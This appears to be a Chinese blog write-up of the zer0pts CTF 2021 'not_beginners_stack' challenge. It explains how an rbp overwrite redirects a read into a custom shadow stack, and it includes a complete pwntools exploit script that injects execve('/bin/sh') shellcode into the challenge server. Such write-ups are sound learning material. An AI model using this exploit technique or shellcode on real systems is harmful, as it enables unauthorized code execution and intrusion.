zer0pts CTF 2021 not_beginners_stack

题目提供了elf文件和源码

源码是这样的:

global _start
section .text

%macro call 1
;; __stack_shadow[__stack_depth++] = return_address;
  mov ecx, [__stack_depth]
  mov qword [__stack_shadow + rcx * 8], %%return_address
  inc dword [__stack_depth]
;; goto function
  jmp %1
  %%return_address:
%endmacro

%macro ret 0
;; goto __stack_shadow[--__stack_depth];
  dec dword [__stack_depth]
  mov ecx, [__stack_depth]
  jmp qword [__stack_shadow + rcx * 8]
%endmacro

_start:
  call notvuln
  call exit

notvuln:
;; char buf[0x100];
  enter 0x100, 0
;; vuln();
  call vuln
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x100);
  mov edx, 0x100
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return 0;
  xor eax, eax
  ret

vuln:
;; char buf[0x100];
  enter 0x100, 0
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x1000);
  mov edx, 0x1000               ; [!] vulnerability
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return;
  leave
  ret

read:
  xor eax, eax
  syscall
  ret

write:
  xor eax, eax
  inc eax
  syscall
  ret

exit:
  mov eax, 60
  syscall
  hlt
  
section .data
msg_data:
  db "Data: "
__stack_depth:
  dd 0

section .bss
__stack_shadow:
  resb 1024

为避免返回地址被篡改的问题,程序自己实现了影子堆栈,把返回地址都存在bss段,而非堆栈上。

那么利用思路就很清晰,就是拿到这个存储返回地址的bss段

 

看一下源码,除掉自己实现影子堆栈的一部分,大致就等价这样一段c程序:

char * msg_data = "Data: ";
int __stack_depth=0;
size_t __stack__shadow[1024/sizeof(size_t)];
 
void vuln(){
    char buf[0x100];
    write(1, msg_data, 6);
    read(0, buf, 0x1000);
    return ;
}
int notvuln(){
    char buf[0x100];
    vuln();
    write(1, "Data: ", 6);
    read(0, buf, 0x100);
    return 0;
}
int main(){
    notvuln();
    exit();
    return 0
}

 

检查一下保护机制:

可以写shellcode

 

vuln里有栈溢出,不能控制返回地址,但是可以控制rbp

notvuln里也有一个read,有这样一条语句:  lea rsi, [rbp-0x100]

当控制了rbp,就控制了read向那哪个地址写数据,那么就可以拿到影子堆栈,跳到shellcode:

 

gdb 调试一下:

当执行到第二次的read时,__stack_shadow里的内容是这样的:

read结束后,会跳到 0x400165,它存储在__stack_shadow+8,那么我们就把它覆盖为 shellcode的地址

并且我们利用这次的read机会,把shellcode写在__stack_shadow+0x10,这样就会顺利执行shellcode

 

利用脚本如下:

#coding:utf-8
#任务就是拿到影子堆栈

from pwn import *
context(arch="amd64",os="linux")

#sh=gdb.debug("./chall","b * 0x4001d2")
#sh=gdb.debug("./chall","b * 0x400160")
#sh=process("./chall")
sh=remote("pwn.ctf.zer0pts.com",9011)

shadow_stack = 0x600234

shellcode=asm(
'''
mov rdx, 0
mov rsi, 0
mov rdi, 0x68732f6e69622f 
push rdi
mov rdi, rsp
mov rax, 0x3b
syscall
'''
)

sh.sendlineafter("Data:",b'a'*0x100+p64(shadow_stack+0x100+8))

sh.sendlineafter("Data:",p64(shadow_stack+0x10)+shellcode)


sh.interactive()

 

posted @ 2021-03-07 23:29  田埂  阅读(159)  评论(0编辑  收藏  举报